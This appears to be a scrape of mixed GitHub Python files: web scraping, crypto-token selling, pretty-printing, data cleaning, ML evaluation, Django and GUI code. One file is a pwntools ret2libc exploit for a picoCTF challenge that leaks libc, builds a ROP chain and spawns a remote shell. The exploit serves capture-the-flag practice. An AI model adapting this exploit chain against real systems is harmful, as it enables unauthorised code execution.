get_driver(url, condition=None):\n global driver\n\n if not driver:\n if brave_path:\n driver = webdriver.Chrome(\n service=BraveService(\n ChromeDriverManager(chrome_type=ChromeType.BRAVE).install()\n ),\n options=chrome_options,\n )\n else:\n driver = webdriver.Chrome(\n service=ChromeService(ChromeDriverManager().install()),\n options=chrome_options,\n )\n if not condition:\n driver.implicitly_wait(DEFAULT_HTTP_TIMEOUT)\n driver.get(url)\n else:\n driver.get(url)\n WebDriverWait(driver, DEFAULT_HTTP_TIMEOUT).until(\n EC.presence_of_element_located((By.CSS_SELECTOR, condition))\n )\n return driver\n","repo_name":"alpha2phi-platform/alphalib","sub_path":"alphalib/utils/httputils.py","file_name":"httputils.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"9"} +{"seq_id":"8466634939","text":"import dataclasses\nimport typing\nimport logging\n\nfrom src.crypto import signTransaction\nfrom src.network import buyOrSellCreatorCoinTx, submitTransaction, getUsersStateless, CoinOperationType\n\n\n@dataclasses.dataclass\nclass CreatorCoin:\n amount: int\n owner: str\n\n\ndef getCoinsList(pubKey: str) -> typing.List[CreatorCoin]:\n user_info = getUsersStateless([pubKey]).json()[\"UserList\"][0]\n \n raw_coins = user_info.get(\"UsersYouHODL\", [])\n if not raw_coins:\n raise ValueError(f\"Cannot find tokens for user with public key '{pubKey}'\")\n\n coins: typing.List[CreatorCoin] = []\n\n for raw_coin in raw_coins:\n creator_coin = CreatorCoin(\n amount=raw_coin[\"BalanceNanos\"],\n owner=raw_coin[\"CreatorPublicKeyBase58Check\"]\n )\n if creator_coin.amount:\n coins.append(creator_coin)\n else:\n logging.warning(f\"{creator_coin} has zero amount\")\n \n return coins\n\ndef generateBuyOrSellCreatorCoinTx(senderPubKey: str, creatorPubKey: str, opType: CoinOperationType, nanos: int) -> str:\n return buyOrSellCreatorCoinTx(senderPubKey, creatorPubKey, opType, nanos).json()[\"TransactionHex\"]\n\ndef generateSellCreatorCoinTx(senderPubKey: str, creatorPubKey: str, amount: int) -> str:\n return generateBuyOrSellCreatorCoinTx(\n senderPubKey,\n creatorPubKey,\n CoinOperationType.SELL,\n amount,\n )\n\ndef signAndSendTransaction(seedHex: str, txHex: str):\n signedTxHex = signTransaction(seedHex, txHex)\n return submitTransaction(signedTxHex)\n\ndef sellCoin(coin: CreatorCoin, seedhex: str, senderPubKey: str):\n response = signAndSendTransaction(\n seedHex=seedhex,\n txHex=generateSellCreatorCoinTx(\n senderPubKey=senderPubKey,\n creatorPubKey=coin.owner,\n amount=coin.amount,\n ),\n )\n\n return response.json()","repo_name":"sevenzing/bitclout-coin-seller","sub_path":"src/bitclout.py","file_name":"bitclout.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"72503547814","text":"from dataclasses import Field, dataclass, fields, is_dataclass\nfrom pprint import PrettyPrinter, _recursion\nfrom typing import List, Optional\n\ntry:\n from pynamodb.attributes import MapAttribute\n from pynamodb.models import Model as PynamoModel\nexcept:\n\n class PynamoModel:\n pass\n\n MapAttribute = PynamoModel\n\n\n@dataclass\nclass PynamoField:\n name: str\n\n\nclass DataclassPrettyPrinter(PrettyPrinter):\n def __init__(self, *args, **kwargs):\n if \"force_use_repr\" in kwargs:\n self.force_use_repr_types = kwargs.pop(\"force_use_repr\")\n else:\n self.force_use_repr_types = None\n kwargs[\"width\"] = kwargs.get(\"width\", 120)\n super().__init__(*args, **kwargs)\n self.visited = {}\n\n def allow_use_repr(self, object):\n return True\n\n def force_use_repr(self, object):\n return self.force_use_repr_types and type(object) in self.force_use_repr_types\n\n def _format(self, object, stream, indent, allowance, context, level):\n if level == 0:\n self.visited.clear()\n\n objid = id(object)\n if objid in context:\n stream.write(_recursion(object))\n self._recursive = True\n self._readable = False\n return\n rep = self._repr(object, context, level)\n max_width = self._width - indent - allowance\n\n if isinstance(object, (PynamoModel, MapAttribute)) and type(object) not in (\n self.force_use_repr_types or []\n ):\n # Don't use default repr\n rep = (\n f\"{object.__class__.__qualname__}(\"\n + \", \".join(\n f\"{k}={self._repr(getattr(object, k), context, level + 1)}\" for k in object._attributes.keys()\n )\n + \")\"\n )\n\n if not self.force_use_repr(object) and (not self.allow_use_repr(object) or len(rep) > max_width):\n p = self._dispatch.get(type(object).__repr__, None)\n # Modification: use custom _pprint_dict before using from _dispatch\n # Modification: add _pprint_dataclass\n if isinstance(object, list):\n context[objid] = 1\n self._pprint_list(object, stream, indent, allowance, context, level + 1)\n del context[objid]\n return\n if isinstance(object, dict):\n context[objid] = 1\n self._pprint_dict(object, stream, indent, allowance, context, level + 1)\n del context[objid]\n return\n elif is_dataclass(object):\n context[objid] = 1\n self._pprint_dataclass(object, stream, indent, allowance, context, level + 1)\n del context[objid]\n return\n elif isinstance(object, (PynamoModel, MapAttribute)):\n context[objid] = 1\n self._pprint_pynamo_model(object, stream, indent, allowance, context, level + 1)\n del context[objid]\n return\n elif p is not None:\n context[objid] = 1\n p(self, object, stream, indent, allowance, context, level + 1)\n del context[objid]\n return\n stream.write(rep)\n\n def _pprint_dict(self, object, stream, indent, allowance, context, level):\n write = stream.write\n write(\"{\")\n if self._indent_per_level > 1:\n write((self._indent_per_level - 1) * \" \")\n length = len(object)\n if length:\n # Modification: don't sort dictionaries\n # Modern python keeps key order to creation/insertion order, and this order often has meaning\n items = object.items()\n self._format_dict_items(items, stream, indent, allowance + 1, context, level)\n write(\"}\")\n\n def _format_dict_items(self, items, stream, indent, allowance, context, level):\n write = stream.write\n indent += self._indent_per_level\n max_width = self._width - indent - allowance\n delimnl = \",\\n\" + \" \" * indent\n last_index = len(items) - 1\n for i, (key, ent) in enumerate(items):\n last = i == last_index\n rep = self._repr(key, context, level)\n if len(rep) < max_width:\n write(rep)\n write(\": \")\n self._format(\n ent,\n stream,\n indent + len(rep) + 2,\n allowance if last else 1,\n context,\n level,\n )\n else:\n self._format(key, stream, indent, allowance if last else 1, context, level)\n write(\": \")\n self._format(ent, stream, indent + 2, allowance if last else 1, context, level)\n if not last:\n write(delimnl)\n\n def _pprint_dataclass(self, object, stream, indent, allowance, context, level, respect_repr_hint=True):\n write = stream.write\n write(f\"{object.__class__.__qualname__}(\")\n if self._indent_per_level > 1:\n write((self._indent_per_level - 1) * \" \")\n object_fields: List[Field] = [f for f in fields(object) if f.repr or not respect_repr_hint]\n if len(object_fields):\n self._format_dataclass_fields(object, object_fields, stream, indent, allowance + 1, context, level)\n write(\")\")\n\n def _format_dataclass_fields(\n self,\n object,\n object_fields: List[Field],\n stream,\n indent,\n allowance,\n context,\n level,\n ):\n write = stream.write\n indent += self._indent_per_level\n write(\"\\n\" + \" \" * indent)\n delimnl = \",\\n\" + \" \" * indent\n last_index = len(object_fields) - 1\n for i, field in enumerate(object_fields):\n last = i == last_index\n write(field.name)\n write(\"=\")\n self._format(\n getattr(object, field.name),\n stream,\n indent + len(field.name) + 1,\n allowance if last else 1,\n context,\n level,\n )\n if not last:\n write(delimnl)\n indent -= self._indent_per_level\n write(\"\\n\" + \" \" * indent)\n\n def _pprint_pynamo_model(self, object, stream, indent, allowance, context, level):\n write = stream.write\n write(f\"{object.__class__.__qualname__}(\")\n if self._indent_per_level > 1:\n write((self._indent_per_level - 1) * \" \")\n object_fields = [PynamoField(n) for n in object._attributes.keys()]\n if len(object_fields):\n self._format_dataclass_fields(object, object_fields, stream, indent, allowance + 1, context, level)\n write(\")\")\n\n\ndef pprint(\n object,\n stream=None,\n indent=1,\n width=80,\n depth=None,\n *,\n compact=False,\n force_use_repr: Optional[List] = None,\n):\n \"\"\"Pretty-print a Python object to a stream [default is sys.stdout].\"\"\"\n printer = DataclassPrettyPrinter(\n stream=stream,\n indent=indent,\n width=width,\n depth=depth,\n compact=compact,\n force_use_repr=force_use_repr,\n )\n printer.pprint(object)\n\n\ndef pformat(object, indent=1, width=80, depth=None, *, compact=False):\n \"\"\"Format a Python object into a pretty-printed representation.\"\"\"\n return DataclassPrettyPrinter(indent=indent, width=width, depth=depth, compact=compact).pformat(object)\n\n\ndef main() -> None:\n @dataclass\n class Foo:\n stuff: List\n\n stuff = [\"spam\", \"eggs\", \"lumberjack\", \"knights\", \"ni\"]\n stuff.insert(0, stuff)\n stuff.append({\"stuff\": stuff})\n stuff.append(Foo(stuff))\n pprint(stuff)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"overtrack-gg/overtrack-cv","sub_path":"overtrack_cv/util/prettyprint.py","file_name":"prettyprint.py","file_ext":"py","file_size_in_byte":7806,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"9"} +{"seq_id":"21293289144","text":"import pandas as pd\nimport os\n\n# Constants\nIN_FILE_PATH = os.path.join(\"data\", \"raw\", \"imdb_scraped.csv\")\nOUT_FILE = \"imdb_clean.csv\"\nOUT_DIR = os.path.join(\"data\", \"clean\")\nOUT_PATH = os.path.join(OUT_DIR, OUT_FILE)\n\n# Function\ndef read_and_clean_imdb(path):\n \"\"\"Function accepts the raw, scraped IMDB data file and cleans it up for use in analysis\"\"\"\n\n data = (\n pd.read_csv(IN_FILE_PATH)\n .assign(\n ReleaseYear=lambda df_: df_[\"ReleaseYear\"]\n .str.extract(\"(\\d+)\", expand=False)\n .astype(int),\n Runtime=lambda df_: df_[\"Runtime\"]\n .str.extract(\"(\\d+)\", expand=False)\n .astype(int),\n GrossRevenue=lambda df_: df_[\"GrossRevenue\"]\n .str.lstrip(\"$\")\n .str.rstrip(\"M\")\n .astype(float),\n Metascore=lambda df_: df_[\"Metascore\"]\n .str.strip()\n .str.rstrip(\"Metascore\")\n .str.strip()\n .astype(int),\n Genres=lambda df_: df_[\"Genres\"].str.strip(),\n Description=lambda df_: df_[\"Description\"].str.strip(),\n Votes=lambda df_: df_[\"Votes\"].str.replace(\",\", \"\").astype(int),\n )\n .drop_duplicates(subset=[\"Title\", \"ReleaseYear\", \"Runtime\"])\n .sort_values(by=\"GrossRevenue\", ascending=False)\n .drop(columns=[\"genre_pull\"])\n )\n\n return data\n\n\ndef dummy_cols(data):\n \"\"\"Function accepts the semi-cleaned IMDB data and gets dummy variables for the various genres. Returns the dataframe with added dummy columns\"\"\"\n dummies = data[\"Genres\"].str.get_dummies(sep=\", \")\n data = pd.concat([data, dummies], axis=1)\n return data\n\n\nif __name__ == \"__main__\":\n os.makedirs(OUT_DIR, exist_ok=True)\n clean_data = read_and_clean_imdb(IN_FILE_PATH)\n clean_data_dummies = dummy_cols(clean_data)\n clean_data_dummies.to_csv(OUT_PATH, index=False)\n","repo_name":"ElliottMetzler/midterm-project-imdb","sub_path":"code/imdb_cleaner.py","file_name":"imdb_cleaner.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"28057157117","text":"from jsonargparse import ArgumentParser, namespace_to_dict\nimport logging\nfrom pathlib import Path\nimport numpy as np\nimport pandas as pd\n\nfrom hyperion.hyp_defs import config_logger\n\n\ndef make_enroll_dir(df_trials, img_dir, output_path):\n enroll_dir = Path(output_path + \"_enroll\")\n img_dir = img_dir / \"enrollment\"\n logging.info(\"making enrollment dir %s\", enroll_dir)\n enroll_dir.mkdir(parents=True, exist_ok=True)\n segments = df_trials[\"model_id\"].sort_values().unique()\n with open(enroll_dir / \"utt2spk\", \"w\") as f1, open(\n enroll_dir / \"spk2utt\", \"w\"\n ) as f2:\n for u in segments:\n f1.write(f\"{u} {u}\\n\")\n f2.write(f\"{u} {u}\\n\")\n\n with open(enroll_dir / \"vid.scp\", \"w\") as f:\n for u in segments:\n f.write(f\"{u} {img_dir}/{u}\\n\")\n\n\ndef write_simple_trialfile(df_trials, output_file):\n df_trials.to_csv(\n output_file,\n sep=\" \",\n columns=[\"model_id\", \"segment_id\"],\n index=False,\n header=False,\n )\n\n\ndef make_test_dir(df_trials, vid_dir, output_path):\n test_dir = Path(output_path + \"_test\")\n vid_dir = vid_dir / \"test\"\n logging.info(\"making test dir %s\", test_dir)\n test_dir.mkdir(parents=True, exist_ok=True)\n segments = df_trials[\"segment_id\"].sort_values().unique()\n\n with open(test_dir / \"utt2spk\", \"w\") as f1, open(test_dir / \"spk2utt\", \"w\") as f2:\n for u in segments:\n f1.write(f\"{u} {u}\\n\")\n f2.write(f\"{u} {u}\\n\")\n\n with open(test_dir / \"vid.scp\", \"w\") as f:\n for u in segments:\n f.write(f\"{u} {vid_dir}/{u}\\n\")\n\n df_trials.to_csv(test_dir / \"trials.csv\", sep=\",\", index=False)\n write_simple_trialfile(df_trials, test_dir / \"trials\")\n\n\ndef prepare_sre21av_eval_visual(corpus_dir, output_path, verbose):\n config_logger(verbose)\n logging.info(\"Preparing corpus %s -> %s\", corpus_dir, output_path)\n corpus_dir = Path(corpus_dir)\n img_dir = corpus_dir / \"data\" / \"image\"\n vid_dir = corpus_dir / \"data\" / \"video\"\n key_file = corpus_dir / \"docs\" / \"sre21_visual_eval_trials.tsv\"\n df_trials = pd.read_csv(key_file, sep=\"\\t\")\n df_trials.rename(\n columns={\"segmentid\": \"segment_id\", \"imageid\": \"model_id\"},\n inplace=True,\n )\n\n make_enroll_dir(df_trials, img_dir, output_path)\n make_test_dir(df_trials, vid_dir, output_path)\n\n key_file = corpus_dir / \"docs\" / \"sre21_audio-visual_eval_trials.tsv\"\n df_trials = pd.read_csv(key_file, sep=\"\\t\")\n df_trials = df_trials.drop(\"modelid\", axis=1).drop_duplicates()\n df_trials.rename(\n columns={\"segmentid\": \"segment_id\", \"imageid\": \"model_id\"},\n inplace=True,\n )\n test_dir = Path(output_path + \"_test\")\n df_trials.to_csv(test_dir / \"trials_av.csv\", sep=\",\", index=False)\n write_simple_trialfile(df_trials, test_dir / \"trials_av\")\n\n\nif __name__ == \"__main__\":\n\n parser = ArgumentParser(description=\"Prepares SRE21 eval visual part\")\n\n parser.add_argument(\n \"--corpus-dir\", required=True, help=\"Path to the original dataset\"\n )\n parser.add_argument(\"--output-path\", required=True, help=\"Ouput data path prefix\")\n parser.add_argument(\n \"-v\", \"--verbose\", dest=\"verbose\", default=1, choices=[0, 1, 2, 3], type=int\n )\n args = parser.parse_args()\n prepare_sre21av_eval_visual(**namespace_to_dict(args))\n","repo_name":"hyperion-ml/hyperion","sub_path":"egs/sre21-av-v/v0.1/local/prepare_sre21av_eval_visual_nokey.py","file_name":"prepare_sre21av_eval_visual_nokey.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"9"} +{"seq_id":"16904228824","text":"import argparse\nimport json\nimport os\nimport pickle\nimport random\nimport sys\n\nimport numpy as np\nimport pandas as pd\nimport torch\n\nimport MIMIC_CXR.mimic_cxr_utils as FOL_mimic\n\nsys.path.append(os.path.abspath(\"/ocean/projects/asc170022p/shg121/PhD/ICLR-2022\"))\n\n\ndef config():\n parser = argparse.ArgumentParser(description='Get important concepts masks')\n parser.add_argument('--base_path', metavar='DIR',\n default='/ocean/projects/asc170022p/shg121/PhD/ICLR-2022',\n help='path to checkpoints')\n parser.add_argument('--output', metavar='DIR',\n default='/ocean/projects/asc170022p/shg121/PhD/ICLR-2022/out',\n help='path to output logs')\n\n parser.add_argument('--disease', type=str, default=\"effusion\", help='dataset name')\n parser.add_argument('--seed', type=int, default=0, help='Seed')\n parser.add_argument('--iterations', type=int, default=\"1\", help='total number of iteration')\n parser.add_argument('--model', default='MoIE', type=str, help='MoIE')\n parser.add_argument('--icml', default='n', type=str, help='ICML or MICCAI')\n\n return parser.parse_args()\n\n\ndef calculate_performance(disease, iterations, output, json_file, _seed, dataset_path):\n random.seed(_seed)\n np.random.seed(_seed)\n torch.manual_seed(_seed)\n results = FOL_mimic.get_residual_outputs(\n iterations, json_file, output, disease, _seed, dataset_path\n )\n print(\"\")\n return results, dataset_path\n\n\ndef main():\n args = config()\n _disease = args.disease\n _iters = args.iterations\n _seed = args.seed\n _output = args.output\n if args.icml == \"y\":\n print(\"=====================>>>>> Calculating performance for ICML paper <<<<<<=====================\")\n dataset_path = f\"{_output}/mimic_cxr/t/lr_0.01_epochs_60_loss_BCE_W_flattening_type_flatten_layer_features_denseblock4/densenet121/{_disease}/dataset_g\"\n output = f\"/ocean/projects/asc170022p/shg121/PhD/ICLR-2022/out/mimic_cxr/explainer/{_disease}\"\n json_file = os.path.join(args.base_path, \"codebase\", \"MIMIC_CXR\", \"paths_mimic_cxr_icml.json\")\n else:\n dataset_path = f\"{_output}/mimic_cxr/t/lr_0.01_epochs_60_loss_BCE_W_flattening_type_flatten_layer_features_denseblock4/densenet121/{_disease}/dataset_g\"\n output = f\"{_output}/mimic_cxr/soft_concepts/seed_{_seed}/explainer/{_disease}\"\n json_file = os.path.join(args.base_path, \"codebase\", \"MIMIC_CXR\", \"paths_mimic_cxr.json\")\n\n results, path_to_dump = calculate_performance(_disease, _iters, output, json_file, _seed, dataset_path)\n print(results)\n df = pd.DataFrame(results)\n df.to_csv(os.path.join(path_to_dump, f\"Residual_results.csv\"))\n print(path_to_dump)\n print(df.iloc[:, 0:5])\n pickle.dump(results, open(os.path.join(path_to_dump, f\"total_results_{_disease}.pkl\"), \"wb\"))\n print(path_to_dump)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"batmanlab/MICCAI-2023-Route-interpret-repeat-CXRs","sub_path":"src/codebase/performance_calculation_mimic_cxr_residual_main.py","file_name":"performance_calculation_mimic_cxr_residual_main.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"9"} +{"seq_id":"21940481630","text":"from django.db import models\nfrom django.shortcuts import reverse, redirect\nfrom imagekit.models import ImageSpecField, ProcessedImageField\nfrom imagekit.processors import ResizeToFill, AddBorder, ResizeToFit, Thumbnail\nfrom .watermark import Watermark\nfrom .effects import Presets\nfrom PIL import Image\nfrom django.conf import settings\nimport os\n# Create your models here.\n\nclass Album(models.Model):\n created = models.DateTimeField(auto_now_add=True)\n image = ProcessedImageField(\n upload_to='store',\n processors=[ResizeToFit(800, 600,), Watermark()],\n format='PNG',\n options={'quality': 100}\n )\n\n thumb = ImageSpecField(\n processors=[Thumbnail(200, 100)],\n format='PNG',\n options={'quality': 50}\n )\n\n def get_absolute_url(self):\n return reverse('picdetails', args=[self.pk])\n\n def preset_thumbnails(self):\n path = os.path.abspath('{}/{}'.format(settings.BASE_DIR, self.image.url))\n pic = Image.open(path)\n img = Presets(pic)\n return img.thumbnail()\n\n def __str__(self):\n return \"{}\".format(self.image)\n","repo_name":"amwaleh/PICHA","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"11898859659","text":"#picoCTF{1_<3_sm4sh_st4cking_e900800fb4613d1e}\nfrom pwn import *\n\nlocal = False\ncall_puts = 0x400769\npop_rdi_ret = 0x0000000000400913\ntest = 0x400771\np = ELF('./vuln')\nr = remote('mercury.picoctf.net',37289) if not local else process('./vuln')\nlibc = ELF('./libc.so.6') if not local else r.libc\npayload = b'a'*136\nbin_sh = next(libc.search(b'/bin/sh\\x00'))\nmagic =0x4f365\nls = 0x15290\nps = 0x19d002\nbss=0x000000000601050\n\ndef debug():\n\tgdb.attach(r,'''\n\tb *0x0000000000400913\n\tc\n\t''')\n\nif __name__=='__main__':\n\tpayload+=p64(pop_rdi_ret)\n\tpayload+=p64(p.got['puts'])\n\tpayload+=p64(p.plt['puts'])\n\tpayload+=p64(p.start)\n\tlog.info(r.recvline())\t\n\tr.sendline(payload)\n\tlog.info(r.recvline())\n\tleak_puts = u64(r.recv(6)+b'\\x00\\x00')\n\tlog.info('leaked puts = '+hex(leak_puts))\n\tlog.info('plt puts = '+hex(libc.sym['puts']))\n\tbase_addr = leak_puts - libc.sym['puts']\t\n\tlog.info('base_addr = '+hex(base_addr))\n\t\n\tsystem_addr = libc.sym['system']+base_addr\n\tbin_sh+=base_addr\n\tmagic+=base_addr\n\tps+=base_addr\n\tls+=base_addr\n\tgets_addr = libc.sym['gets']+base_addr\n\tlog.info('bin sh = '+hex(bin_sh))\n\tlog.info('system addr = '+hex(system_addr))\n\t#debug()\n\t\n\tr.sendline(p64(pop_rdi_ret)*18+p64(bss)+p64(gets_addr)+p64(pop_rdi_ret)+p64(bss)+p64(system_addr))\n\tr.sendline('/bin/bash\\x00')\n\tr.interactive()\n\n\n\n\n","repo_name":"MarcoGarlet/CTF-Writeups","sub_path":"LiveCTF/2021/pico/pwn/libc/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"9"} +{"seq_id":"23747898091","text":"import csv\nimport PySimpleGUI as sg\n\ndef leggi_csv(file_path):\n dati = []\n with open(file_path, newline='') as csvfile:\n reader = csv.reader(csvfile)\n next(reader)\n for riga in reader:\n dati.append(riga)\n return dati\n\ndati_ricette = leggi_csv(\"C:\\\\Users\\\\Utente\\\\CorsoPython\\\\CorsoPython\\\\FrancescaCaricchia\\\\esame\\\\lista_ricette.csv\")\ndati_prodotti = leggi_csv(\"C:\\\\Users\\\\Utente\\\\CorsoPython\\\\CorsoPython\\\\FrancescaCaricchia\\\\esame\\\\lista_prodotti.csv\")\n\ndef crea_menu(dati_ricette):\n menu = []\n for row in dati_ricette:\n menu.append(f\"{row[0]}. {row[1]}\")\n print(\"Menu creato:\", menu)\n return menu\n\ndef ottieni_ricetta(drink_id, dati_ricette):\n for row in dati_ricette:\n if int(row[0]) == drink_id:\n return row[2].split(',')\n return []\n\ndef ottieni_ingredienti_iniziali(dati_prodotti):\n ingredienti_iniziali = []\n for row in dati_prodotti:\n nome_ingrediente = row[1]\n quantita_iniziale = int(row[2])\n ingredienti_iniziali.append((nome_ingrediente, quantita_iniziale))\n #print(\"Ingredienti ottenuti:\", ingredienti)\n return ingredienti_iniziali\n\ndef ottieni_ingredienti_aggiornati(dati_prodotti_copia):\n ingredienti_aggiornati = []\n for row in dati_prodotti_copia:\n nome_ingrediente = row[1]\n quantita_aggiornata = int(row[2])\n ingredienti_aggiornati.append((nome_ingrediente, quantita_aggiornata))\n #print(\"Ingredienti ottenuti:\", ingredienti)\n return ingredienti_aggiornati\n\ndef eroga_drink(drink_id, dati_ricette, dati_prodotti):\n ingredienti_mancanti = 0\n for row in dati_ricette:\n if int(row[0]) == drink_id:\n ricetta = row[2].split(',')\n for ingrediente in ricetta:\n ingrediente = ingrediente.strip()\n for prodotto in dati_prodotti:\n if ingrediente.lower() == prodotto[1].lower():\n quantita = int(prodotto[2])\n if quantita >= 50:\n prodotto[2] = str(quantita - 50)\n else:\n ingredienti_mancanti += 1\n break\n else:\n continue\n break\n return ingredienti_mancanti\n\ndef aggiorna_quantita_ingredienti(file_path, dati_prodotti):\n with open(file_path, 'w', newline ='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(['ID', 'Ingrediente', 'Quantita'])\n for prodotto in dati_prodotti:\n writer.writerow(prodotto)\n\ndef crea_finestra_ingredienti_iniziali(ingredienti_iniziali):\n layout = [\n [sg.Text(\"Lista degli ingredienti iniziali:\")],\n [sg.Listbox(values=ingredienti_iniziali, size=(50, 6), key='-LISTA-INGREDIENTI-INIZIALI-')],\n ]\n window = sg.Window(\"Ingredienti iniziali\", layout)\n while True:\n event, values = window.read()\n if event == sg.WINDOW_CLOSED:\n break\n window.close()\n\ndef crea_finestra_ingredienti_aggiornati(ingredienti_aggiornati):\n layout = [\n [sg.Text(\"Quantità disponibili dopo l'erogazione:\")],\n [sg.Listbox(values=ingredienti_aggiornati[:], size=(50, 6), key='-LISTA-INGREDIENTI-AGGIORNATI-')],\n ]\n window = sg.Window(\"Ingredienti aggiornati\", layout)\n while True:\n event, values = window.read()\n if event == sg.WINDOW_CLOSED:\n break\n window.close()\n\ndef main():\n dati_ricette_copia = list(dati_ricette)\n dati_prodotti_copia = list(dati_prodotti)\n\n ingredienti_iniziali = ottieni_ingredienti_iniziali(dati_prodotti_copia)\n ingredienti_aggiornati = ottieni_ingredienti_aggiornati(dati_prodotti_copia)\n \n layout = [\n [sg.Text(\"Benvenuto nel Distributore del Sorriso!\")],\n [sg.Text(\"Come posso aiutarti?\")],\n [\n sg.Column([\n [sg.Text(\"Menu:\")],\n [sg.Listbox(values=crea_menu(dati_ricette_copia), size=(50,6), key='-MENU-')],\n ]),\n sg.Column([\n [sg.Text(\"Lista degli ingredienti:\")],\n [sg.Listbox(values=ottieni_ingredienti_iniziali(dati_prodotti), size=(50,6), key='-INGREDIENTI-INIZIALI-')],\n ]),\n sg.Column([\n [sg.Text(\"Quantita disponibili:\")],\n [sg.Listbox(values=ingredienti_aggiornati, size=(50,6), key='-INGREDIENTI-AGGIORNATI-')],\n ])\n ],\n [\n sg.Slider(range=(1, 10), default_value = 1, orientation = 'h', size=(20,15), key='-QUANTITA-'),\n sg.Button(\"Eroga\"), \n sg.Button(\"Esci\")\n ]\n ]\n\n window = sg.Window(\"Distributore del sorriso\", layout)\n\n while True:\n event, values = window.read()\n if event == sg.WINDOW_CLOSED or event == \"Esci\":\n break\n\n menu_selection = values['-MENU-']\n if menu_selection and len(menu_selection) > 0: \n scelta = int(menu_selection[0].split('.')[0])\n quantita = int(values['-QUANTITA-'])\n ingredienti_mancanti = eroga_drink(scelta, dati_ricette, dati_prodotti)\n\n if ingredienti_mancanti == 0:\n for _ in range(quantita):\n ricetta = ottieni_ricetta(scelta, dati_ricette)\n sg.popup(\"Erogazione in corso: \" + \", \".join(ricetta))\n \n # Aggiornamento della finestra degli ingredienti iniziali\n window_ingredienti_iniziali = sg.Window(\"Ingredienti iniziali\", layout=[\n [sg.Text(\"Lista degli ingredienti iniziali:\")],\n [sg.Listbox(values=ottieni_ingredienti_iniziali(dati_prodotti), size=(50, 6))],\n ])\n window_ingredienti_iniziali.close()\n\n \n # Aggiornamento della finestra degli ingredienti aggiornati\n ingredienti_aggiornati = ottieni_ingredienti_aggiornati(dati_prodotti)\n window_ingredienti_aggiornati = sg.Window(\"Ingredienti aggiornati\", layout=[\n [sg.Text(\"Quantità disponibili dopo l'erogazione:\")],\n [sg.Listbox(values=ingredienti_aggiornati, size=(50, 6))],\n ])\n window_ingredienti_aggiornati.close()\n\n # Aggiornamento del file CSV con le quantità aggiornate\n aggiorna_quantita_ingredienti(\"lista_prodotti.csv\", dati_prodotti)\n window['-INGREDIENTI-AGGIORNATI-'].update(values=ingredienti_aggiornati)\n else:\n sg.popup(f\"Mi dispiace, ingredienti esauriti. Impossibile erogare il drink.\")\n\n window.close()\n\nif __name__ == \"__main__\":\n main()","repo_name":"fortechance/corsoPython","sub_path":"FrancescaCaricchia/esame/scriptnewworkingon.py","file_name":"scriptnewworkingon.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"34577195260","text":"# query.py\n\n# import pandas as pd \nimport requests\nimport pandas as pd\nfrom psqlconnection import DATABASE_URL\n\npd.set_option('display.max_rows', 3000)\npd.set_option('display.max_columns', 300)\npd.set_option('display.width', 1000)\n\n\n# filter parameters\nparams = params={\n 'resource_id': '926fd08f-cc91-4828-af38-bd45de97f8c3', \n 'limit': 50000,\n 'include_total': True\n}\n\n# source: https://data.ca.gov/dataset/covid-19-cases\nurl = 'https://data.ca.gov/api/3/action/datastore_search'\nr = requests.get(url, params=params).json()\n\n# Convert JSON to pandas Dataframe\ndf = pd.DataFrame(r['result']['records']).set_index(['_id'])\n\n# Rearrange columns\ncounty = df[['county', 'date', 'totalcountconfirmed', 'newcountconfirmed', 'totalcountdeaths', 'newcountdeaths']]\n\nprint(county)\n\nimport sqlalchemy\nfrom sqlalchemy import create_engine, Table, Column, Integer, String, ForeignKey, inspect\nimport pandas as pd\nimport psycopg2\n\nengine = create_engine(DATABASE_URL)\n# con = psycopg2.connect(DATABASE_URL)\nconnection = engine.raw_connection()\n\n# inspector = inspect(engine)\n\n# print(inspector.get_table_names())\n\n\ndef update_table(df,table_name):\n\tdf.to_sql(table_name, con=engine, if_exists='replace')\n\n\n\nupdate_table(county, 'county')\n\nif __name__ == \"__main__\": \n\tfrom new_clean import result, top_data, mortality_rate, pop_den, coords\n\n\tprint(result)\n\t\n\tupdate_table(result, 'counties_aggregated')\n\tupdate_table(top_data, 'top_counties_aggregated')\n\tupdate_table(mortality_rate, 'mortality_rate_aggregated')\n\tupdate_table(pop_den, 'population_density_aggregated')\n\tupdate_table(coords, 'coords_aggregated')\n\nconnection.close()","repo_name":"marvtchan/COVID-19","sub_path":"query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"5104124016","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\nProblem 111\nConsidering 4-digit primes containing repeated digits it is clear that they cannot all be the same: 1111 is divisible by 11,\n2222 is divisible by 22, and so on. But there are nine 4-digit primes containing three ones:\n1117, 1151, 1171, 1181, 1511, 1811, 2111, 4111, 8111\nWe shall say that M(n, d) represents the maximum number of repeated digits for an n-digit prime where d is the repeated digit,\nN(n, d) represents the number of such primes, and S(n, d) represents the sum of these primes.\nSo M(4, 1) = 3 is the maximum number of repeated digits for a 4-digit prime where one is the repeated digit, there are N(4, 1) = 9 such primes, and the sum of these primes is S(4, 1) = 22275.\nIt turns out that for d = 0, it is only possible to have M(4, 0) = 2 repeated digits, but there are N(4, 0) = 13 such cases.\nIn the same way we obtain the following results for 4-digit 